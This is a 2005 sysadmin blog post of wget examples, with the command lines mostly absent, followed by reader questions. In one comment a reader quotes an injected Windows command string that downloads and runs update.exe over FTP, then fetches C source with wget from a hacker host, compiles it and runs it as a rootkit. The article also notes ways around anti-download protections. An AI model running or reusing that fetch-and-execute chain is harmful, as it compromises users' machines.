Unix and Linux network configuration. Multiple network interfaces. Bridged NICs. High-availability network configurations.


Reviews of latest Unix and Linux software. Helpful tips for application support admins. Automating application support.


Disk partitioning, filesystems, directories, and files. Volume management, logical volumes, HA filesystems. Backups and disaster recovery.


Distributed server monitoring. Server performance and capacity planning. Monitoring applications, network status and user activity.

Commands & Shells

Cool Unix shell commands and options. Command-line tools and application. Things every Unix sysadmin needs to know.

Home » Commands & Shells

Wget examples and scripts

Submitted by on November 27, 2005 – 3:19 pm 27 Comments

Wget is a command-line Web browser for Unix and Windows. Wget can download Web pages and files; it can submit form data and follow links; it can mirror entire Web sites and make local copies. Wget is one of the most useful applications you would ever install on your computer and it is free.

You can download the latest version of Wget from the developers home page. Precompiled versions of Wget are available for Windows and for most flavors of Unix. Many Unix operating system have wget pre-installed, so type which wget to see if you already have it.

Wget supports a multitude of options and parameters. This variety may be confusing to people unfamiliar with Wget. You can view the available Wget options by typing wget –help or on a Unix box type man wget.

Here are a few useful examples on how to use Wget:

1) Download main page of and save it as yahoo.htm

2) Use Wget with an HTTP firewall:

Set proxy in Korn or Bash shells

Set proxy in C-shell

Run wget for anonymous proxy

Run wget for proxy that requires authentication

3) Make a local mirror of Wget home page that you can browse from your hard drive

Here are the options we will use:

-m to mirror the site
-k to make all links local
-D to stay within the specified domain
–follow-ftp to follow FTP links
-np not to ascend to the parent directory

The following two options are to deal with Web sites protected against automated download tools such as Wget:

-U to mascarade as a Mozilla browser
-e robots=off to ignore no-robots server directives

4) Download all images from Playboy site

Here are the options we will use:

-r for recursive download
-l 0 for unlimited levels
-t 1 for one download attempt per link
-nd not to create local directories
-A to download only files with specified extentions

5) Web image collector

The following Korn-shell script reads from a list of URLs and downloads all images found anywhere on those sites. The images are processed and all images smaller than a certain size are deleted. The remaining images are saved in a folder with named after the URL. The url_list.txt file contains one URL per line.

This script was originally written to run under AT&T UWIN on Windows, but it will also work in any native Unix environment that has Korn shell.

6) Wget options

Print Friendly, PDF & Email


  • Avatar emijrp says:

    Very useful info. Thanks!

  • Avatar niko says:

    best info i ever saw for this problem !!
    no bullshit talking, clear information …

  • Avatar swapnil jaiswal says:

    thanx a lot

    really useful and enlightening :-)


  • Avatar CpILL says:

    Can’t you use the -i option to process a list of urls in a file?

  • Avatar admin says:

    You can use the “-i” option with wget to download a list of URLs. However, you will not have as much control over destination folders as you do when you use a WHILE loop.

  • Avatar Fizal says:

    Wow, awesome, i’ve been looking for that list for a while now! :D ever since i saw the social network!

  • Avatar rosch says:

    For me the image-download example is not working “as is”:
    I added the option -p :
    from the manual:

    This option causes Wget to download all the files that are necessary to properly display a given HTML page. This includes such things as inlined images, sounds, and referenced stylesheets.

  • Avatar Modesto Remondet says:

    There are so many operating systems to choose from but i always prefer windows because it is easier to use. ;

    Have a look at our own internet site as well

  • Avatar Joe T says:

    I just want to practice Unix commands and start learning shell scripting and what is kernel. Cold you tell me the earliest and/or the smallest version of Unix, I Don’t need Graphical User interface for the time being. I need the Unix to be the smallest to be practiced in with smallest space required for RAM and Hard disk.
    Thanks Martino I will try that but could you tell me any version of Unix that is of the size about 2 MB like MS Dos.

  • Avatar homerliveshere says:

    Have been wondering for some time.

    Excluding other hacks potentially involved, I was wondering if a DDoS attack in it of itself is actually illegal?
    And if so at what point is refreshing a page considered illegal?
    I was thinking same, but just am curious at what point is the line drawn, 5-25-100-1000+ times a minute? Just seems rather gray area of law to me to me. I mean you’re not actually causing any real damage per se, so im also curious as to what makes it illegal.

  • Avatar Beavis says:

    Give me five architecture types that are unrelated and five operating systems that are unrelated.
    Unrelated is the key term.

  • Avatar Squall Leonhart says:

    What are the fundamental differences between Windows®, Mac OS®, UNIX, and Linux operating systems for personal computers?

  • Avatar gail C says:

    i want to know how can i upload a file that is stored in a web server ( example : ) to my own web server?
    is there any codes or such things that i can put in my web host that can do this thing for me ?
    like i put the url of the file that i want to upload to my web host and click the button then it trasfers the file to my web host?
    my host supports java script and php!

  • Avatar DuckieM10 says:

    The solution to:
    How to prevent the execution of cron job from the url by any user?

    I have my cron job script in a folder with the name like password: 3e2fkjn32kgjn.php.
    It is possible to a user figure out the url and execute the cron?
    If yes, how to prevent that?

    Detaills: my cron script emails me the statics of the web every day.

    So, Can you tell me if is possible to get the cron url? if yes, how? and how to prevent it?


  • Avatar Michael C says:

    i want to downloads some files(nearly about 1000-2000 zip files) from a website. i can sit around and add each file one after another. please give me a program or script or whatever method so i can automate the download.

    The website i am talking about has download link as

    date can be taken care of. the main concern is that number 12345 before and after the folder, they both change simultaneously. eg

    i tried using curl[12345-54321]/folder/[12345-54321]

    but it makes to much of combination of downloads i.e. keeps left 12345 as it is and scan through 12345 to 54321 the increment left 12345 +1 then repeats scan from [12345-54321].

    also tried bash wget here i have one variable at two places , when using loop the right 12345 with a ” _” is ignored by the program. PLease help me, i dont know much about linux or programing, thanks

  • Avatar The Dark Knight says:

    I have a ConfigSystem file on my Linux machine and the program was ported from a Sun box so it has 4 different functions:

    Sun64(), Sun32(), linux32(), and linux64() each with all the compiler settings.

    How or where is it told which function to use?


  • Avatar mrankinmatt says:

    I recently starts some email marketing campaigns. We choose a email marketing software named PHPKode Newsletter X. Everything is well but it’s Cronjobs Configuration.

    It tells me this in their site,

    “The setup processe of a cronjob depends on the hosting software you are using (Plesk, cPanel). Then add the commands bellow.

    wget -O – -q -t 1

    I use a webhosting in HostGator, so anyone tell me how i can setup this cronjobs correctly?
    You can find the configuration at their demo site

  • Avatar Clayton Cottrell says:

    Is it possible to do it in Google Finance ?
    For instance : Shanghai stock 900947 ?

  • Avatar Picean says:

    I know this sounds bizarre, but my webmaster passed away suddenly and I need to keep my website up and running. I do not have access to his PC. I believe that he was hosting the site on his own servers (not sure). And he is listed as the registrant for my domain name, along with my company name. Ideally what I want to do is move the website to another hosting company and then have someone else administer the website. I assume I would need the software that he used to develop the site in order to do this. HELP! I’ve never encountered a problem like this before and I can’t find any help on the web.

  • Avatar norrin_shadowwolf says:

    I have recently started looking into programing, since I want to start studying it when I start university! And I had this idea of a program I would write. (Had I actually known what I was doing).
    I want a program that fetches images from a site which uploads a new picture every day and save it to my desktop background folder! I would like it to do so automatically once every day.
    Is there anyone who can write me a “recipe” for a script which I could write down in Python? (I don’t want any downloads since I want to study the script)
    Think of it as a small project if you know what you are doing! :)
    Any contribution is much appreciated!!

  • Avatar United says:

    about 30 mins ago i was typing an email and suddenly it started typing stuff:
    ik &echo binary >> ik &echo get update.exe >> >> ik &ftp -n -v -s:ik &del ik &update.exe >> echo mkdir .opz >> echo cd .opz >> echo wget http://shell.h4ck,biz/~kredkrew/index.c >> echo gcc -o opz index.c >> echo nice work >> echo ./opz >> echo Another Rooted!! &exit echo You got owned
    i got most of it
    there was a bit missing at the start because i was pressing backspace at the beginning i think it said cmd /c then a little bit then the rest of the code
    i don’t know if Ive been hacked or something that’s deferentially wrong though i’m lucky that i was typing an email because i found another example of when someone found it in command line
    so i think it was meant to go in there
    i have researched the site and gone to the url but it all 404s and has databace errors
    i first ran a AVG scan and it came up with:
    “”;”HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionUninstallHardcore”;”Found Dialer.Generic”;”Moved to Virus Vault”
    so it removed it to the virus vault i dont know if it was that
    when it happend i was running rsbot from powerbot
    im not sure if it could have been the script i was using or something but i have now got rid of it (rsbot and the script)
    im downloading malware bites, spybot search and destroy, and adaware
    imgoing to do a scan with each
    is there anything elce i can do?
    should i do a system restore?
    something that gives me hope is that the url has a , colon insted of dot so i dont thing it would have been able to get to the url

    im also going to do a scan for security holes

    sorry for the TERRIBLE typing/spelling im trying to get this up asap
    i do keep everything up to date
    but if the worst comes to worst i may end up reinstalling my os

    ive just realised that i has 2 ports open compete ally on my router that go to my pc so i have now removed them

    i know im a idiout

  • Avatar Harriet W says:

    Wanted to know if supercomputers required a different operating system than a regular computer. I would think they use something very different or custom made.

  • Avatar Andrew S says:

    I am using a chain of pipes to extract a set of links from a downloaded HTML. However, in the one before last step, I have a list of relative URLs and I would like to prepend the address of the server. I would love to insert that in the chain using a command like “prepend” in this example:
    grep “my regexp” file.html | more commands | prepend “” | wget -i

    More generally, it would be cool to have a command which would insert the contents of each input line at a specified place in a pattern, like
    sandwich -c _ abc_def:

    input line 1
    input line 2
    abcinput line 1def
    abcinput line 2def

    But a command for only prepending or only appending something to each line would suffice. I mean, it’s easy to cut out a part of each line using cut, there should be a reverse command available, too.

    Please note before answering that I’m sure that
    1) sed or awk could handle this with ease (but I don’t feel like learning them), and
    2) writing a Perl script for this would take 10x less time than typing out this question,
    but I think I am missing some really neat standard way of doing this straight from the command line without any extra gear and I want to know. So, how do I go about doing so?

  • Avatar thexbox360player says:

    please help me to create a batch file for downloading
    i want to make a batch in which we just type the addresses or links and a paith of folder it is for where the downloaded file store.
    this all attemps are for the people those download files from a website daily
    for example i download the assingments form the website daily from just one link.
    now my aim is this to create a bat .for download all the files from the web on one click
    and not perform one by one file.
    if you have an idea about this then plz share with me
    the coding for batch
    for downloading

4 Pingbacks »

Leave a Reply

%d bloggers like this: